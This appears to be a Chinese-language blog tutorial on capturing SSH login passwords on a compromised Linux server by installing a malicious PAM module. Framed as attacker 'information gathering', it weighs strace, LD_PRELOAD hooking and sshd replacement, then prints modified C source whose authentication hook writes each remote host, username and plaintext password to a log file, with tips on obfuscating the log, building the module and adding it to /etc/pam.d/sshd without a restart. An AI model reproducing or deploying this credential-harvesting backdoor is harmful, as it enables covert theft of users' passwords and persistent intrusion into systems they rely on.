使用 PAM 记录 SSH 登录密码
0x0 前言
信息收集战往往会影响下一步的动作,所以其重要性也不言而喻。掌握足够多的信息,才能赢得进一步的胜利。
其实记录 SSH 密码有多种姿势,搜索一番后总结了一下:
1. 使用 strace 跟踪函数调用栈,但是 sshd 会 fork 新进程,虽然可以循环检测,但不是最佳方案
2. 使用 LD_PRELOAD hook 关键函数,自然你需要知道 sshd 的关键函数,rkhunter 会检测该项
3. 直接替换 sshd 程序,够暴力吧,风险太大
4. 用 PAM 啦
0x1 PAM 简介
PAM(Pluggable Authentication Modules),插拔式的验证模块,这货是干啥的。Linux 下有许多需要进行身份验证的服务,例如 SSH、telnet、samba 等,每个程序都实现了不同的验证方法,系统在与服务进行交互的时候就必须要会各种方言,而 Linux PAM 即是解决了这个尴尬的问题。
PAM 机制实际上是一个 API 规范,通过相同的规范,系统可以调用一致的验证接口。
简单理解,可以想象一下双绞线:无论你是三类,五类还是超五类,不管是屏蔽还是非屏蔽,总之一个 RJ-45 接口就可以直接往你笔记本上插。
详细可参考鸟哥的文章:http://linux.vbird.org/linux_basic/0410accountmanager.php#pam_what
0x2 PAM 配置
实现 PAM 的程序在 /etc/pam.d 路径下有同名的配置文件,例如 sudo 程序:
第一列为类型,可以为四个值:
- auth (验证阶段)
- account (授权阶段)
- session (环境初始化阶段)
- password(后期,密码操作阶段,例如 passwd 程序配置)
每种类型分别对应不同的阶段。
第二列为控制标识,同样可以为四个值:
- required
- requisite
- sufficient
- optional
用于验证栈的流程控制。首先程序的验证按照不同的阶段,顺序向下验证,称为验证栈。如果指定 required,即使验证失败,也会继续执行后面的验证模块。而对于 requisite,失败则终止后续验证流程。
sufficient 成功则返回,失败则继续其他模块。optional 听其名知其意,就是可选的啦。
第三列为 PAM 模块名称,后面的是模块参数。
0x3 PAM 模块实现
为了偷懒,可耻地使用了现成的源码。程序使用 GPL,所以可以开开心心地使用啦~
戳这里:http://silicon-verl.de/home/flo/software/pamcifs.html
这个模块本来是为了方便网络共享,记录用户凭据并自动进行挂载。对源码进行简单修改来记录 SSH 密码。
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,
int argc, const char **argv) {
int pcnt,
fd,
len,
res;
char *pwdir=0,
*pword,
*uname,
*rmhost, // 追加一个 host 变量
*file,
buffer[BUF_MAX];
FILE *pwfile;
for(pcnt=0;pcnt<argc;pcnt++) {
if (strcmp(argv[pcnt], PWDIR_PARAM) == 0) {
if (pcnt+1 < argc)
pwdir=strndup(argv[++pcnt], PWDIR_LEN);
} else if (strncmp(argv[pcnt], PWDIR_PARAM "=", sizeof(PWDIR_PARAM "=")-1) == 0)
pwdir=strndup(argv[pcnt]+sizeof(PWDIR_PARAM), PWDIR_LEN);
}
if (!pwdir)
pwdir=strndup(PWDIR_DEFAULT, PWDIR_LEN);
// 用户名和密码
pam_get_item(pamh, PAM_AUTHTOK, (void *) &pword);
pam_get_item(pamh, PAM_USER, (void*) &uname);
// 获取远程登录用户 host
pam_get_item(pamh, PAM_RHOST, (void*) &rmhost);
if (!pword || !uname) {
_pam_log(LOG_ERR,"no password or user to write - got stacked wrong ?");
return PAM_AUTHINFO_UNAVAIL;
}
file=(char *) malloc(strlen(uname) + strlen(pwdir) + 2);
if (!file) {
_pam_log(LOG_ERR,"malloc failed");
return PAM_AUTHINFO_UNAVAIL;
}
sprintf(file, "%s", pwdir);
D(_pam_log(LOG_DEBUG, "writing to %s", file));
// 追加模式写入
if ((fd=open(file, O_RDWR|O_APPEND|O_CREAT, 0600)) == -1) {
_pam_log(LOG_ERR,"failed to open pw file");
return PAM_AUTHINFO_UNAVAIL;
}
// 内容格式,虽然这里直接写入,实际中还是混淆一下内容吧 :P
len=snprintf(buffer, BUF_MAX-1, "rhost = %s\nusername = %s\npassword = %s",
rmhost, uname, pword);
res=write(fd, buffer, len);
if (len != res) {
_pam_log(LOG_ERR,"failed to write pw to file");
close(fd);
return PAM_AUTHINFO_UNAVAIL;
}
close(fd);
return PAM_SUCCESS;
}
如你所见,pam_sm_authenticate 函数由系统调用,用于 auth 类型的验证。所以我们可以从传入的参数获取到用户信息。
编译,需要安装 PAM 的开发库:
apt-get install libpam0g-dev
然后将共享库复制到 PAM 模组目录,32 位的 Ubuntu 为 /lib/i386-linux-gun/security 目录:
编辑 /etc/pam.d/sshd 文件,加入 PAM 模块:
无需重启服务。
0x4 行动
用户登录 SSH:
之后在指定的目录 /var/log/pam 中记录用户信息:
0x5 参考资料
- LOGGING SSH PASSWORDS - http://www.adeptus-mechanicus.com/codex/logsshp/logsshp.html
- pam + cifs authentication - http://silicon-verl.de/home/flo/software/pamcifs.html
- 鳥哥的 Linux 私房菜:Linux 帳號管理與 ACL 權限設定 - http://linux.vbird.org/linux_basic/0410accountmanager.php#pam_what
- 深入Linux PAM体系结构 - http://www.2cto.com/os/201303/198419.html
- Installing correct libraries for PAM and readline - https://mariadb.com/kb/en/mariadb/installing-correct-libraries-for-pam-and-readline
- LD_PRELOAD which program is target - http://stackoverflow.com/questions/26184305/ld-preload-which-program-is-target